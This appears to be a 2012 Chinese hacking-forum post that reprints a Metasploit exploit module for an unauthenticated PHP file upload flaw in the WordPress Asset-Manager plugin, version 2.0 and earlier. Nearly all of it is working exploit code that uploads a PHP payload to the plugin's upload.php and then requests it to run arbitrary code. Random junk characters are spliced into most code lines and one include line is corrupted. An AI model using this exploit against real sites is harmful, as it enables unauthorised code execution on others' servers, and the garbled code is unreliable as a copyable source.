找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。; m& d: Q4 I7 u7 Q

4 A- w6 x* F7 G2 O" d. B##0 n) s# `! W- a
# This file is part of the Metasploit Framework and may be subject to
0 U& `" v3 R4 d) C# redistribution and commercial restrictions. Please see the Metasploit% ^, l0 t7 ?8 [' @" ?# h7 b4 ?
# Framework web site for more information on licensing and terms of use.5 C' A% j' l, g% U
#   http://metasploit.com/framework/
# L) c& P0 E& H; z1 K9 S  U# o; {##  E2 j. H3 \# _! [

: J; Z% x: ]. I" N  f/ `8 [require 'msf/core'1 @4 X1 [/ |( B  X
require 'msf/core/exploit/php_exe'
4 p7 @+ [( V; V; p% k4 t( o) Z
; a7 c' b- E- j0 M1 N, tclass Metasploit3 < Msf::Exploit::Remote! w1 }3 K+ q3 ?. E( Z$ f- C
  Rank = ExcellentRanking
: k# c* H5 _5 ?9 _) K( i" g 7 Y5 v  z3 G8 n( o' T0 g9 `
  include Msf::Exploit::Remote::HttpClient3 }, F9 j  z- E0 x+ }2 A
  include Msf::Exploit:hpEXE" B% ~" P# D& I" v6 Q" [/ X

8 H% j4 |  i. Z2 b  i$ j" ^9 e; h  def initialize(info = {})  r0 @6 L/ I8 H- Q2 X9 R5 t% q
    super(update_info(info,* {, f4 D* i! x, e3 I
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',  t2 ]% I, ~' Q- e7 I6 D: S; m
      'Description'    => %q{6 p: M% t: t4 E: b4 i: Y$ G
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
' g' c+ ^6 _2 x) V        plugin.  By abusing the upload.php file, a malicious user can upload a file to a! s. M7 ?. s- {# |! ~
        temp directory without authentication, which results in arbitrary code execution.+ J- I# {9 @9 `8 y9 B* R
      }," U* F, p; @6 t
      'Author'         =>
' O3 o. E* o. Y+ V7 |        [3 F* f1 Q2 o% W  I! W
          'Sammy FORGIT', # initial discovery
6 D. t5 ?6 q8 x$ g& j+ z          'James Fitts <fitts.james[at]gmail.com>' # metasploit module2 [' [! |) d$ _( a9 o
        ],
9 N/ s  l5 i8 c# w6 K3 a      'License'        => MSF_LICENSE,# S1 }4 p! f4 V+ e1 V- A
      'References'     =>/ B$ c/ R3 r3 {1 B
        [
5 W$ q# H' `4 D, k$ p% G& y) o          [ 'OSVDB', '82653' ],7 X- W( ?3 n+ V0 [* s# p$ \7 ]; X1 c3 X
          [ 'BID', '53809' ],
8 w5 V* q$ f# {- m& H3 N          [ 'EDB', '18993' ],: `$ ^2 @+ f; }1 C
          [ 'URL', 'http:// www.myhack58.com /' ]$ Z$ l9 ]" U- ]- h  K
        ],  _( s! a$ a2 b; }# F/ s& h
      'Payload'       =>
4 w) G; K, r) ]8 N7 L# b  K! {        {1 g& n) X8 Z) J0 ]) k
          'BadChars' => "\x00",6 @+ b4 Q+ h  B" A8 |* H
        },
: |& ?- ]( ^8 v, V      'Platform'       => 'php',
$ O6 }' C6 B+ t- Z& J      'Arch'           => ARCH_PHP,
1 m" F- f$ }1 v$ N) j2 L, _: r      'Targets'        =>. e/ I/ l  L$ H/ B
        [' e$ @/ Y2 G' z, d
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],- y  a$ g- X9 C/ w
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]9 d8 U& O; o  U" _! o9 y8 }1 Y
        ],
5 u5 ~9 D7 @0 r' g7 t      'DefaultTarget' => 0,
8 {" y5 f2 U% j8 }8 w& n4 m      'DisclosureDate' => 'May 26 2012'))- R" b5 G- y1 K! b1 s6 b

" e! n8 U+ x1 l- L5 n- @) x7 l: W    register_options(4 H% v( i7 Y: H2 B+ Z. C* d
      [8 h( J" g, e5 Y0 s. n
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
2 e5 p; ~% \8 B& I/ C$ I0 z      ], self.class)( Z5 q- E) z1 C( ~8 _
  end- _* U' A( ?5 n. P. @

( Q/ U& x$ N/ v  def exploit
3 a3 }9 F) ?! \    uri =  target_uri.path
! k! j! V+ P8 @4 A    uri << '/' if uri[-1,1] != '/'8 J& x. B* T- ~6 s* x0 W
    peer = "#{rhost}:#{rport}"
5 x7 N! t0 R5 W; `6 d" P8 Q    payload_name = "#{rand_text_alpha(5)}.php"4 R3 A, n1 U! K, P$ q4 v
    php_payload = get_write_exec_payload(:unlink_self=>true)2 N7 k$ b2 `3 ^& ?9 g
* s4 {9 k, ^' q2 p. J6 k
    data = Rex::MIME::Message.new" z' J/ s9 V+ m/ Q
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
/ J- _% s, B/ W) L. n% ?/ j    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  U% \! |7 `! u: y1 M5 d
# v$ @, e/ j6 |5 I! z
    print_status("#{peer} - Uploading payload #{payload_name}"); D& k$ R" E1 F5 S0 L" R
    res = send_request_cgi({
2 L( u5 T" I% h5 e# z: W      'method'  => 'POST',. k6 S; r1 ^9 r' `% B2 D
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",5 ~- U$ m; s: E& }
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",8 A/ C3 v3 q4 _8 U
      'data'    => post_data. D- f& ]' j/ s! Y' T4 Y
    })
- Q7 d! {7 N5 i2 ?% c) W
6 V' H; B. @: W    if not res or res.code != 200 or res.body !~ /#{payload_name}/3 d$ G: N2 L( |# W! t
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
+ p' r9 S8 p$ y2 N( wend
+ m- c( u# I* B . C4 c: x0 q" \# s: m. l. _# K. ]
    print_status("#{peer} - Executing payload #{payload_name}")8 X! f" c% F5 F) l( K
    res = send_request_raw({/ d% P" d+ J4 b
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",7 _8 y: ~+ O, _/ B9 ?
      'method'  => 'GET'
6 ?6 E+ @# _7 }$ ~8 f& J    })+ r1 G' f+ a& f
7 @: Z, L8 d* J4 J. w- E
    if res and res.code != 200
3 I9 d, x# _! S& ?/ l      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
1 Z/ f: A/ T& v* t5 T& q" X& W4 n    end5 j: l2 M+ y0 _) x9 G2 x9 F4 }0 j
  end2 o9 h# }7 b" j# {6 W4 j
end8 S6 y6 R* Z+ c2 H4 l) W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表